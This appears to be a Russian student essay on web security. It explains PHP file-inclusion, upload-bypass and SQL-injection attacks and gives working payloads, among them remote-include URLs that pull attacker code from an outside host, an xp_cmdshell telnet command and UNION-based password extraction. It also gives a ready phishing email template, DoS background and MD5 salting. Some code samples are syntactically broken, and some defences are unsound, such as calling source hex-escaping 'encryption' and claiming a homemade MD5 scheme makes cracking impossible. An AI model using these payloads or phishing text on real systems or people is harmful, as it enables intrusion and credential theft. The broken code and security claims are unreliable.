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Введение.

Наше общество, если и понимает в полной мере важность самого ценного ресурса – информации, то плохо заботится о её безопасности.  

Есть множество случаев, когда даже крупные компании страдали от хакеров. Даже не стоит упоминать про рядовых пользователей, которые «добровольно» оказывали помощь по распространению вирусов в Сети, запуская программы «Open me!» или открывая «безобидные»  письма-валентинки. В июле 2007 года был взломан официальный сайт компании Elcomsoft. Хакеры получили доступ к FTP-серверу и украли коллекцию серийных номеров. Мало того, они украли программы для их генерации. Теперь компания несет огромные убытки: надо менять алгоритмы генерации серийных ключей, да и не прибавляет радости, что в Сети лежит множество софта с легальными ключами. На 100% мы никогда не защитимся: «Все, что создал человек, можно взломать, идеальной защиты не существует». Однако стоит попробовать. 

Web атаки.

Существует множество возможных атак на сайты. Что примечательно, можно взломать только динамическую веб-страницу, то есть ту, в которой использованы какие-либо скрипты (сценарии), написанные на PHP, Perl, JavaScript и других языках веб-программирования. Сайт, написанный на HTML (языке гипертекстовой разметки) может быть взломан только через хостинг-провайдера, на сервере которого тот находится.
PHP-injection.

Уязвимость PHP - include одна из самых известных, но между тем и самых распространённых уязвимостей встречающихся сегодня в PHP сценариях. Она возникает, когда программист позволяет использовать данные, переданные сценарию в виде параметров, без дополнительной проверки в качестве параметра функцией include. 
Самая распространенная ошибка заключается в подстановке внешней переменной безо всяких проверок, сразу в оператор include. Обычно это делают при создании модульной системы, каждый модуль которой – php-скрипт, который подключается при определенных условиях. Пример:
$abc="main.php";

if(@$_GET['id'])

include($_GET['id']);

else
include($abc);

При подключении модулей URL выглядит следующим образом: index.php?id=module.php. Довольно часто, если этого не запрещает конфигурация PHP, можно вставить в тело скрипта посторонний код таким образом: 

 http://site.ru/index.php?id=http://othersite.ru/anyfile.txt 

Где содержимое anyfile.txt - это код PHP-скрипта злоумышленника. 

Обойти уязвимость можно многими путями:
$exp=".php";

$abc="main".$exp;

if(@$_GET['id'])

include($_GET['id'].$exp);

else

include($umolchanie);

Модуль в виде файла xxx.php в данном случае подключается так:
 http://site.ru/index.php?id=xxx. 

Приписав к файлу anyfile на othersite.ru расширение .php, можно увидеть, что инъекция будет выглядеть точно так же:

 http://site.ru/index.php?id=http://othersite.ru/anyfile

Действительно, ведь скрипт сам присвоит расширение php. 

Можно это предотвратить, используя функцию file_exists. Она проверяет существование файла. Она вернет FALSE при обращении к любому удаленному документу. То есть файл должен быть доступен через файловую систему сервера. Таким образом, можно исключить любую инъекцию удаленного фрагмента.

$ex=".php";

$abc="main".$exp;

if(@$_GET['id'])

$final=$_GET['id'].$exp;

else
$final=$abc;

if(file_exists($final))

include($final);

До конца ли безопасна такая конструкция? Нет, не всегда. Если на сайте есть форум, и на него можно загружать свои файлы (фотографии, аватары и др.), то злоумышленник может загрузить файл со скриптом через скрипт-аплоадер (если нет фильтрации расширений).. Таким образом, полученный файл со зловредным кодом будет находиться на сервере.
Однако почти всегда у аватар расширения не выходят за границы списка gif, jpg, jpeg, png, а у аттачей — zip, rar, doc. Но в переменной $ex, как правило, содержится что-то вроде .php или .inc.php.  В PHP есть функция magic_quotes_gpc. Эта опция PHP разрешает слеширование (экранирование) всех входящих в запрос потенциально опасных символов. В их число входит апостроф, кавычка и другие. Если послать в COOKIE или же в GET-, POST-запросах строку antichat's_sniffer, то скрипт ее получит как antichat\'s_sniffer. Этот пасс иногда спасает неопытных программистов от взлома их скрипта. Однако опытным программистам эта функция доставляет больше хлопот, чем помощи. Как раз поэтому-то еще остались хостинг-провайдеры, которые не держат эту опцию включенной. Именно magic_quotes_gpc, установленная на OFF, позволит провести инъекцию. К числу потенциально опасных символов относится нулевой байт: он обозначает конец строки. Слеширование нулевого байта обезоруживает его, символ теряет свое значение. Однако без magic_quotes_gpc слешировать его вряд ли кто-нибудь будет. Вот пример инъекции:

http://site.ru/index.php?id=forum/avatars/user/c20ad4d76fe97759aa27a0c99bff6710.gif%00&c=[COMMAND]

Здесь %00 - закодированный нулевой байт в формате URL. Строка, передаваемая функции include, имеет вид: forum/avatars/user/av132.gif[NULL].php. Как отмечалось выше, нулевой байт «отрезает» правую часть строки. Таким образом, прикручиваемое расширение не имеет значения, и можно подставить в файл PHP фрагмент из аватары av132.gif. Правда, сейчас большинство хостеров устанавливают magic_quotes_gpc на ON, что защищает скрипты от трюка с нулевым символом. Но и на этот случай есть свои отмычки.

Помимо описанных выше действий, можно сотворить еще много всего, но каждый раз это зависит от конкретного примера. Допустим, есть такой фрагмент минимодульного движка.

error_reporting(0);

$ex=".php";

//$cat - папка с модулями

$abc="main;

#папка с модулями#

if($_GET['cat']=='files')

$cat="files";

elseif($_GET['cat']=='docs')

$cat="docs";

else

echo "Неверный раздел";

if(@$_GET['id'])

$final=$_GET['id'];

else

$final=$abc;

if(!eregi("[\.']", $final) && str_replace(chr(0),'f',$final)==$final)

include($cat."/".$final.$ex);

else

include("error404".$ex);
Здесь не проверяется существование файла. Если в GET-запросе значение параметра cat не удовлетворяет требуемым, отображается предупреждение о том, что раздел неверен. Однако дальнейшее исполнение скрипта будет продолжено. Ошибки скрыты error_reporting(0), поэтому внешне выглядит, что все обработалось корректно. Однако можно передать в cat что-то вроде «http://othersite.ru» и загрузить на othersite.ru скрипт. Если на сервере включен register_globals (параметры из запроса соответствуют одноименным переменным в скрипте), то инъекция будет проведена успешно. В include удаленно инъекцтировать можно не только по http, но и по ftp.
Проверка расширений.
Неопытные программисты иногда пишут проверку расширений примерно вот так:

$exps=array(

'rar',

'zip',

'doc',

'txt'
; //Возможные расширения
//Проверяем расширение
$rash=explode(".",$_FILES["userfile"]['name']);

if(!in_array(strtolower($rash[1]), $exps))

die('у файла неверное расширение');
Ошибка здесь следующая. Скрипт проверяет не расширение файла, а ту часть имени файла, которая находится после первой слева точки до второй слева (если такая имеется). Обычно это и есть расширение файла, однако, если загружать файл с именем shell.txt.php - файл загрузится успешно, и сервер будет понимать загруженный файл как PHP-интерпретируемый (если не прописаны соответствующие установки в .htaccess). На самом деле, скрипт должен проверять самую последнюю из частей имени файла, полученных разбивкой последнего по точкам. Другая версия парсера:

$exps=array(

'rar',

'zip',

'doc',

'txt'

); //Возможные расширения

//Проверяем расширение

$rash=explode(".",$_FILES["userfile"]['name']);

if(count($rash)< 2)die('у файла нет расширения');

if(!in_array(strtolower($rash[count($rash)-1]), $exps))

die('у файла неверное расширение');
Однако, если Apache не может определить расширения файла, то он смотрит следующую часть имени файла, отделенную точкой от расширения. Например, файл arhive.php.ex в большинстве случаев будет интерпретирован как PHP-скрипт!

В итоге единственным верным решением будет полная фильтрация имени файла на опасные расширения загружаемого файла. Для страховки также рекомендуется поместить в директорию с файлами .htaccess, с удалением/переопределением опасных расширений. Например:

RemoveType .php3 .php .phtml .php4 .php5 .cgi .pl
Можно поступить и другим способом. Сохранять на сервере файлы под предопределенным именем (скажем, file<index>file, где <index> - номер файла), а при закачке формировать специальный HTTP-заголовок на основе данных об этом файле, предварительно занесенных в какую-либо БД, обеспечивая передачу файла пользователю под подлинным именем. Можно даже хранить файлы в базе данных, например в MySQL.

Файловые движки
Некоторые бесплатные хостеры не предоставляют доступ к MySQL. Для таких случаев пишутся движки на текстовых БД. Рассмотрим их уязвимости. Теперь поищем, где хранятся все данные. Оказывается, что они лежат как раз в таком инклудаемом файле (доступ к нему закрыт .htaccess'ом). Файл имеет вид:

<?

$exbb['boardurl'] = 'http://exbb';

$exbb['home_path'] = 'z:/home/exbb/www/';

$exbb['boardname'] = 'название форума';

$exbb['boarddesc'] = 'описание форума';

$exbb['announcements'] = 1;

$exbb['topics_per_page'] = 15;

$exbb['posts_per_page'] = 10;

$exbb['ch_files'] = 0777;

$exbb['ch_dirs'] = 0777;

$exbb['ru_nicks'] = 1;

$exbb['reg_simple'] = 0;

$exbb['default_lang'] = 'russian';

$exbb['default_style'] = 'Original';

$exbb['membergone'] = 15;

...

Я сумел выйти за кавычку только в одном из параметров. Это - $exbb['boardurl']. В итоге я получил такой код:
$exbb['boardurl'] = 'http://exbb'.@include('http://127.0.0.1/talakin.txt').''

Если переменные хранят значения за двойными кавычками, то нам даже необязательно выходить за них, что было необходимо «с '». Во-первых,  можно вывести любую переменную, просто прописав ее имя, а во-вторых, можно выполнить любую функцию, в том числе всякие system и аналоги.

Можно:

Использовать массив данных, без предварительного объявления. Например:

for($i=0;$i<10;$i++)

{

@$a[$i]=$s[$i];

//Копируем 10 первых

//элементов массива $s
//в a, без определения $a
}

for($i=0;$i<count($a);$i++)

{

eval('$y['.$a[$i].']='.$i);

}

Подразумевается, что $s - «безопасный» массив, то есть никакой опасности

для конструкции он не представляет. Однако посмотрим, что будет, если на сервере включен register_globals. Если послать такой GET-запрос: 
http://host/script.php?a[10]=1;system('ls');//, то мы получим листинг файлов директории, в которой находится script.php. Это происходит потому, что определение 11-ого (в массивах элементы считаются от нулевого элемента) никак не противоречит определениям скрипта. Никто не претендует на место 11-го элемента массива, поэтому мы получим доступ к якобы уже определенному массиву. Чтобы избавиться от данной ошибки, надо предварительно написать определение $a=array(). При передаче элемента массива через GET-, POST-запросы или COOKIE ключ не ставится в кавычки. Таким образом, в запросе следует писать array[nameindex], а не array['nameindex']. Эту ошибку часто можно встретить при работе с модульными файлами. То есть, рассчитывая на определение массива в другом модуле или ядре, конкретный модуль является уязвимым, и иногда при особым образом сформированном запросе, непосредственно к модулю, можно вызвать нежелательное обращение к элементам массива. Это частный случай, а вообще, движки с модулями, доступными для прямого обращения и работающие при таком обращении в обычном режиме - очень «лакомый кусочек».

Каким-либо образом подвергать опасности уже определенные переменные переопределения. Рассмотрим конкретную ошибку PHP-инъекции в vcard.

Конфигурационные данные движка определены в специальном файле конфигурации, который инклудится в каждый самостоятельный PHP-файл (файл, к которому предполагается непосредственное обращение пользователя), в самом начале этого скрипта. Все конфигурационные данные представляют собой элементы ассоциативного массива $cfg. После чего идет код, который осуществляет замену всех параметров, переданных через GET, в одноименные переменные внутри скрипта.

if (!empty($_GET))

{

foreach ($_GET as $tmp_varname => $tmp_value)

{

$$tmp_varname = $tmp_value;

}

}

Все это происходит после того, как были определены конфигурационные данные! Это означает только одно: можно переопределить все конфигурационные данные, сформировав запрос примерно такого вида:
index.php?cfg[hostname]=biricz.at&cfg[dbuser]=bi007vma&cfg[dbname]=bi007vmatest&cfg[skin]=myskin&cfg[dbpass]=ivkxzd&cfg[lang]=../../../../../../../etc/passwd
С помощью представленной уязвимости можно инклудить произвольный файл, загружать на сервер свои файлы и т.д.
Ко всему вышесказанному

Все параметры могут быть переданы скрипту при помощи 4-х способов: GET, POST, COOKIE, SESSION. Первые три из них пользователь формирует сам. Информация сессии хранится на сервере и не может быть модифицирована пользователем, в то время как COOKIE можно спокойно изменять.

Внедрение кода, расположенного на внешнем сервере, может быть произведено только при соответствующей конфигурации PHP.
MySQL
Базы данных часто используются для написания WEB-приложений. Их использование наиболее уместно для хранения пользовательских регистрационных данных, идентификаторов сессий, организации поиска, а также других задач требующих обработки большего количества данных. Для обращения к БД используются серверные технологии: PHP, PERL, ASP, и т.д. Когда на сервере установлены все патчи, а брандмауэр блокирует все порты кроме 80-ого или когда требуется аутентификация для доступа к некоторым данным, для взлома хакер может использовать SQL Injection. Суть данной атаки заключается в использовании ошибки на стыке WEB технологий и SQL. Дело в том, что многие web страницы для обработки пользовательских данных, формируют специальный SQL запрос к БД. Неосторожное использование данной методики может привести к довольно интересным результатам...

SQL Injection
Проверка логина и пароля, на PHP может иметь следующий вид:

$result=mysql_db_query($db,"SELECT * FROM $table WHERE user='$login' AND

pass='$password'"); 

$num_rows=mysql_num_rows($result); 

mysql_close($link); 

if ($num_rows!=0) 

{ 

// AUTHENTICATION OK 

} 

else 

{ 

// AUTHENTICATION ERROR 

} 

Я добавил два комментария, "AUTHENTICATION OK " - вместо него должен идти код, который исполнится в том случае, если пароль и логин верны. Другой "AUTHENTICATION ERROR " - место где будет описан код, исполняющийся в случае их неправильности. Если заполнить форму, то запрос получится похожим на "http://www.server.com?login=user&password=31337", где www.server.com имя сервера, к которому мы пытаемся подключиться. Мы нашли то что искали, а по сему снова вернемся к работе SQL. Итак, если вы для авторизации должны указать логин и пароль, то сформированный SQL запрос будет иметь следующий вид:

SELECT * FROM users WHERE login='user' AND password='31337'

Это значит примерно следующее: верни мне все записи из базы данных users у которых логин "user", а пароль "31337". Если существует такая запись, значит пользователь зарегистрирован, ну а если нет, то нет... Но при определенных обстоятельствах все можно исправить. Имеется ввиду ситуация, когда приложение не проверяет содержимое передаваемых данных или проверяет не полностью, на наличие SQL инструкций. В данном примере сверяются два поля login и password, но если в качестве пароля указать "31337' AND email='user@server.com"(без двойных кавычек), то запрос получится уже немного другим:

SELECT * FROM users WHERE login='user' AND password='31337' AND email='user@server.com'

Однако есть как оператор «и», так и «или».И в случае существования поля email это условие также будет проверено. . Для осуществления данного, необходимо в качестве логина указать "user' OR 1=1--", в таком случае запрос примет вид:

SELECT * FROM users WHERE login='user' OR 1=1--' AND password='31337'

Для начала следует знать, что "--" означает конец запроса, и все после "--" обрабатываться не будет! Получается, словно мы сделали запрос:

SELECT * FROM users WHERE login='user' OR 1=1

"http://www.server.com?login=user or 1=1--&password=31337". Это приводит к тому, что не играет роли какой именно логин мы указали, а тем более пароль! 
Но это все в теории. На практике нам неизвестно каким образом формируется запрос, какие данные передаются и в какой последовательности. Поэтому необходимо указывать "user' OR 1=1--" для всех полей. Также следует проверить форму отправки на наличие скрытых полей.. Если таковые существуют, сохраните страницу и поменяйте значения данных полей. Значения содержащиеся в них часто забывают проверять на наличие SQL инструкций. Но чтобы все заработало следует в форме (тэг "FORM") для параметра "ACTION" указать полный путь к скрипту, что обрабатывает данный запрос.

Password detection
Можно угадывать пароли посредством анализа результатов аутентификации. Для начала пробуем угадать пароль, для этого введем место него:

' OR password>'a
Если нам ответят, что авторизация пройдена, значит пароль начинается не на букву "а", а на какую-то из следующих по списку. Двигаемся дальше и подставляем место "a", следующие "b", "c", "d", "e"... и т.д. пока нам не ответят, что пароль не правильный. Пускай этот процесс остановился на символе "x", в таком случае создаются два варианта развития ситуации, пароль найден или же пароль начитается на этот символ. Чтобы проверить первый вариант пишем место пароля:

' OR password='x
и если пароль принят и вас впустили, значит пароль угадан! Ну а нет, тогда следует подбирать уже второй символ, точно так же, с начала. Для двух символов проверять нужно так же. В конце концов, ты получишь пароль, а логин ищешь тем самым путем.
MS SQL Server 

Используя уязвимость SQL Injection можно исполнять команды на удаленном сервере с помощью exec master..xp_cmdshell. Но чтобы использовать эту конструкцию необходимо завершить операцию "SELECT". В SQL инструкции разделяются точкой с запятой. Поэтому подключится к некоторому IP по Telnet'у, необходимо место пароля/логина набрать:

'; exec master..xp_cmdshell 'telnet 192.168.0.1' -- 

У MS SQL Server есть, еще несколько интересных особенностей, позволяющих узнать логины и пароли хранящиеся в базе данных. Для этого вывод об ошибках перенаправляется на произвольный сервер и посредствам их анализа можно узнать название таблицы, полей и их типов. После чего можно запросом:
' UNION SELECT TOP 1 login FROM users-- 

(login имя поля содержащего логин, а users - имя таблицы, полуученые в процессе анализа ошибок).

Ответ может быть следующим:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07' 

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'admin' to a column of data type int. 

/default.asp, line 27

Теперь мы знаем, что есть пользователь с именем "admin". Теперь мы можем получить его пароль: 

' UNION SELECT TOP 1 password FROM users where login='admin'--

Результат:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07' 

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'xxx' to a column of data type int. 

/tedault.asp, line 27

Теперь нам известно, что есть пользователь "admin" с паролем "xxx. Но для работы с SQL существует еще много других функций, при работе с базой данных можно также удалять данные, модифицировать, вставлять свои и даже манипулировать файлами и работать с реестром.
Защита

Но этого всего естественно можно избежать. Для этого можно воспользоваться фильтрами, предоставляемыми производителями. Можно найти свои решения, например заменять все одинарные кавычки двойными (если для SQL запроса мы пользуетесь одинарными), или наоборот. Можно разрешить только использование букв и @, в случае если требуется ввести электронный адрес. А еще в Perl есть удивительная функция :) quote() в модуле DBI::DBD, которая успешно делает ваш запрос безопасным по отношению к SQL
D-DoS.

Английская аббревиатура DoS расшифровывается как Denial of Service – отказ в обслуживании. Целью DoS атаки является создание таких условий работы сайта, при которых пользователь не может получить к нему доступ. Чаще всего злоумышленники добиваются этого, забрасывая сайт огромным количеством «мусорных» запросов, и пользователи уже не могут пробиться к сайту: легитимные запросы тонут в «шуме». DoS-атаки активно используются злоумышленниками для оказания давления на ресурс. Например, известны атаки на Интернет-казино. Поскольку вся деятельность такого казино происходит через Интернет и каждый день простоя приносит серьезные убытки, злоумышленники угрожают владельцам DoS-атакой и требуют выплатить некоторую сумму. В случае отказа атаки действительно проводились. DoS атака может использоваться и в конкурентной борьбе. Журнал New Scientist писал о случае, когда компания спутникового телевидения из Массачусетса оплатила атаку на сайты трех своих прямых конкурентов. Пока их сайты были заблокированы, пользователи обращались к той компании, до которой могли достучаться, то есть к организатору атаки. Этот случай расследовало ФБР и виновных установить удалось, что бывает далеко не всегда.
Несмотря на то, что методы атаки хорошо известны, противостоять им удается далеко не всегда. Очень сложно отделить   легитимные запросы  от «мусора». Принцип DoS-атак: использовать хороший контент в дурных целях. DoS атаки можно распределить на распределенные и одиночные. В качестве примера одиночных атак можно приведем 2 метода (только вот их намного больше). 
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При установлении соединения между пользователем и сервером происходит синхронизация (обмен служебными пакетами). Для организации атаки клиент (обычно с поддельного IP-адреса) посылает серверу служебный запрос. Сервер сообщает о готовности и резервирует канал связи. А вот второго подтверждения он не дождется никогда. Таким образом, канал связи окажется занятым на какое-то время. Поскольку каналов конечное число, а запросы на соединение идут непрерывно, и не один не подтверждается – все каналы заняты, и получить доступ к сайту реальные пользователи не могут.Другой метод сфокусирован для атак на публичные сайты. В этом случае компьютер клиент направляет множество запросов на публичный сайт, по возможности очень мощный, например на почтовый сервер или крупный новостной портал, но в качестве обратного адреса указывает не свой, а адрес сайта жертвы. Публичный ресурс отвечает сайту жертве – ответы сыплются непрерывным потоком, сервер жертвы не справляется с нагрузкой  и блокируется. У этого вида атаки есть серьезное преимущество: публичный сайт, который становиться фактически производителем спама нельзя заблокировать – источник полностью легитимен, но этот легитимный источник в результате «роняет» сайт.
Распределенные атаки.

DDoS атака опирается на сеть компьютеров-зомби (botnet’ов). Здесь bot – усечение от robot, а net – сеть. У слова bot есть и другое значение – личинка овода. Как раз таки этот перевод точно отображает суть DDoS атаки. Согласно исследованию, проведенному в Технологическом институте в Джорджии, по состоянию на январь 2007 года различные сети компьютеров-зомби охватывают 11% из 650 миллионов компьютеров, подключенных к Интернету. Наиболее крупные botnet-сети охватывают десятки тысяч компьютеров, разбросанных по всему миру. 26 июля 2004 года в результате распределенной атаки несколько часов были заблокированы поисковые порталы Google и Yahoo, а ведь Google – десятки тысяч серверов. Масштабы поразительны. Компьютер (как правило, это домашняя машина, подключенная к выделенному каналу) может быть заражена троянской программой. Способов заражения множество. До поры до времени программа себя ничем не проявляет, только слушает чат или форум. Пока некто не напишет фразу с адресом ресурса. Начинается посылка легитимных запросов, посещаемость увеличивается мгновенно и в разы. Результат – сайт жертвы смолкает. Атакующие компьютеры могут инициировать поток запросов с публичных сайтов. Такой вид атаки получил название DRDoS.
DoS атаки проводятся не только на сайты, но и на Интернет в целом. Так произошло 21 октября 2002 года (атака длилась один час) и 6 февраля 2007 (атака длилась восемь часов). Тогда были атакованы корневые DNS-серверы. Они разбирают, какой IP поставить в адрес сервера, то есть на них держится весь Интернет. Самое узкое место в цепочке – корневые DNS, которые отвечают за домены верхнего уровня ru, com, org. Если вывести из строя корневые DNS, можно парализовать целые сегменты Сети – миллионы компьютеров. В 2002 году, когда были атакованы все 13 серверов, это почти удалось. Сбои заметили многие пользователи. В 2007 году были атакованы 3 сервера, и никто из пользователей этого не заметил. Отразили атаку путем многократного копирования DNS на разных физических серверах. DoS атаку отбили, но это не окончательная победа. Когда-нибудь это все равно повториться.
Способов защититься мало – можно наращивать пропускную способность сервера, а можно и дублировать информацию на нескольких серверах. Можно ставить и межсетевые экраны и фильтры, причем они должны перехватывать «мусор» на ранней стадии. 

По данным компании Symantec количество DoS атак уменьшается, но лишь потому, что сети botnet’ов выгоднее использовать для рассылки спама, чем для DoS атак.

Социальная инженерия (СИ).

Здесь пойдет речь о том, как хакеры врывают системы самыми простыми способами. И в этом виноваты лишь пользователи. Это они могут оставить бумажку с паролями на самом видном месте и поставить очень простой пароль на E-mail.

Хакеры этим пользуются. Вообще, 80% пользователей ставят «простые» пароли: самым распространенным является 12345. Часто ставят свои инициалы или год рождения, свои nickname’ы. А в качестве контрольных вопросов пишут: «Саша и Маша:». Сразу можно догадаться, что это или брат и сестра, или молодожены, или супруги, или, наконец, дети. 
Есть много случаев, когда хакер по ICQ знакомился с жертвой, с помощью уловок выпытывал пароль и взламывал компьютер. Также хакеры регистрируют e-mail, похожий на e-mail администратора и отправляют сообщения типа:

«Здравствуйте ЖЕРТВА. 

На ваш почтовый адрес и другие адреса была зарегистрирована массовая рассылка писем с других провайдеров. Более 100 писем было отфильтровано нашим спам фильтром. 

В связи с неполадками спам защиты, наш почтовый сервис будет отключен на профилактические работы 1(первого) Ноября с 10.00 до 13.00 по Московскому времени. 

Во избежание недоразумений просим вас сообщить ваши данные. 

Данные нужно прислать именно в такой форме: 

------------------------------------------------------------- 

$userid=”ЖЕРТВА” 

$passwid=”Ваш пароль” 

$questid=”ВОПРОС ЖЕРТВЫ ДОСТУПЕН ВСЕМ” 

$ansid=”Ваш ответ на вопрос” 

------------------------------------------------------------- 

Просто скопируйте эти строки в ваше новое письмо и во 2 (второй) и 4 (четвёртой) строке укажите ваши данные в кавычках. Затем отправьте письмо по адресу __. 

Через небольшой промежуток времени вы получите письмо уведомление, что подтверждение данных прошло успешно. 

С уважением, 

Администрация КОРП.РУ»
Работает почти безотказно. Лишь немногие пользователи замечают различие в адресе e-mail. Также возможна СИ и в каналах IRC. Например, если пользователь наберет следующий код, его компьютер перейдет в удаленное пользование: «//write oper.pas ctcp 1:*:?:$1- | Load -rs open.pas». И с помощью нехитрых команд хакер сможет просматривать данные на его компьютере, открывать и закрывать программы, менять пароли и давать привилегии себе. Выход один: следить за тем, кто знает ваши пароли, никому их не говорить и составлять пароли типа: «12%hjhjKUG%3259887pxchasf», так их будет трудно расшифровать. Никому не разглашать их в сети, внимательно следить за адресом отправителя и  не писать что-либо, похожее на команды. 
Криптография

Очень важным звеном в ИБ является криптография. Шифруется все, начиная от паролей в хеше БД, до исходного кода страницы. Есть множество алгоритмов шифрования, но мы рассмотрим математический алгоритм хеширования MD5 (Message Digest 5). Он был разработан профессором Л. Ривестом в 1991 году; насчитывает 4 раунда по 16 шагов. Это односторонний алгоритм хеширования, то есть обратной расшифровки не имеет. Выходная строка насчитывает 32 символа. Для увеличения криптостойкости алгоритма разработчики придумали искусственный способ усложнения пароля – накладывания «соли» (salt). На данный момент известны 2 способа наложения «соли»: md5(md5(salt).md5(pass)) и md5(md5(pass).salt). Первый способ используется в форумных движках IPB ниже версии 2.00.*. Второй способ – в форумном движке vBulletin. Второй способ в плане криптостойкости более грамотен. Но в Интернете давно известно, что лучше использовать нестандартный набор защиты, а комбинированный и усовершенствованный. Интернет все-таки поле для творения защиты. Поэтому первый способ можно усилить. Вот пример первого алгоритма на PHP: 

<?php
$text=’proba’;

$salt=’123!#&asgfHTA’;

$crypted=md5 (md5 ($salt) .md5 ($text) ) ;

Echo $crypted;

?>

Порядок действия таков: получаем хеш от proba, потом хеш от соли. Далее все склеивается в оду строку. Потом получаем хеш от этой строки. 
Чтобы усилить алгоритм, можно объявить массив спецсимволов и добавить переменную, в которой будет храниться  хеш от несоленого пароля. В таблице даны принципы  замены знаков  в md5 хеше.                                                                                                     Исходный код таков:                                                                                                                                                                                         

<?

$salt=”123!#&%asggHTA”;

$pass=”proba”;

Function my_ crypt ($pass, $salt) {

$spec=array(‘!’ ,’~’ ,’@’ ,’#’ ,’$’ ,’%’ ,’^’ ,’&’ ,’*’ ,’?’);

$crypted=md5 (md5 ($salt) .md5 ($pass) ) ;

$c_text=md5 ($pass) ;

For ($i=0; $i<strlen($crypted);$i++) {
        if (ord($c_text[$i]) >=48

             and ord($c_text[$i]) <=57 {

             @$temp.=$spec[$c_text{$i]];

              } elseif (ord($c_text[$i])>=97

                 And ord($c_text[$i])<=100) {

                 @$temp.=strtoupper ($crypted[$i]);

              } else {

                  @$temp.=$crypted[$i];

              }

         }

         Return md5 ($temp);

     }

     Echo my_crypt ($pass,$salt);

?>                                                                                                                                 
Шанс подбора сводится к нулю. Если злоумышленник и сделает дамп БД, то ваши пароли он или не расшифрует, или потеряет много времени.

Также защитить может шифровка исходного кода страницы.
Есть множество способов шифровки исходного кода страницы. Рассмотрим два наиболее известных. Первый – функция unescape:

<?

$str="pupkin@servis.ru";

for ($i=0;$i<strlen($str);$i++){

@$str2.="%".

dechex(ord($str[$i]));

}

echo "<script>document.write(unescape('".$str2."'))

</script>";

?>
В результате получаем на странице pupkin@servis.ru. Но если посмотреть исходный код страницы, получим: 

<script>document.write(unescape('%70%75%70%6b%69%6e%40%73%65%72%76%69%73%2e%72%75'))</script>

Также можно использовать метод сдвига, например, шифр Цезаря, где сдвиг идет на 3 знака вправо:  
<script language=”JavaScript”>

Function cesar (data){
Var str=new array();

For (var i=0; I<data.length; i++){

Str[i]=string .fromcharcode (data.charcodeat (i)-3);

}

Return str.join(‘’);

}

Document.write(cesar(“sysnlqCvhuylv1ux”));

</script>

Слова sysnlqCvhuylv1ux – это pupkin@servis.ru.












